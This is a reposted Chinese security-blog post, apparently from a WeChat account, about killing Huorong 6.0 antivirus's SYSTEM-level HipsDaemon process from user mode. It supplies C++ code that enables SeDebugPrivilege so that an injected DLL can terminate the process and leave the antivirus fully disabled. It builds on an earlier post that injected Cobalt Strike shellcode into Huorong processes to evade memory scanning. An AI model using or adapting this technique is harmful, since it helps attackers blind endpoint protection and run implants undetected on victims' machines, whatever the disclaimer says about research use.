追加篇
unsetunset文章前言unsetunset
上次的分享提到,低权限R3可以kill掉火绒的HipsTray,也可以将cs的shellcode注入到这些进程中规避内存检测(但实际上火绒的查杀效果还是存在的!!)那么今天在这个基础上,利用R3管理员权限将System启动的HipsDaemon也Kill掉。
上次分享与这次分享的区别是:
1、上次分享:Kill HipsTray,但是功能还在,绕过内存扫描的办法就是在它们进程中上线。
2、本次分享:kill HipsDaemon,但需要权限,启用SeDebugPrivilege令牌,直接将system的进程kill掉,这时候火绒全部功能失效!
unsetunset实践部分unsetunset
还是沿用上次的代码(文末获取),那么只需要加上调整进程令牌权限的代码即可,启用SeDebugPrivilege权限即可。
MSDN对SeDebugPrivilege的解释
将代码添加到DLL中,将进程名称改为:HipsDaemon即可
bool EnableDebugPrivilege() {
HANDLE hToken;
TOKEN_PRIVILEGES tp;
// 打开当前进程的令牌
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
returnfalse;
}
// 查找 SE_DEBUG_NAME 的 LUID
if (!LookupPrivilegeValue(nullptr, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) {
CloseHandle(hToken);
returnfalse;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// 调整令牌权限
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr)) {
CloseHandle(hToken);
returnfalse;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
CloseHandle(hToken);
returnfalse;
}
CloseHandle(hToken);
returntrue;
}
unsetunset效果unsetunset
获取方式
原文始发于微信公众号(零攻防):【免杀实战】 - R3Kill掉system启动的火绒6.0主程序 * 追加篇
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论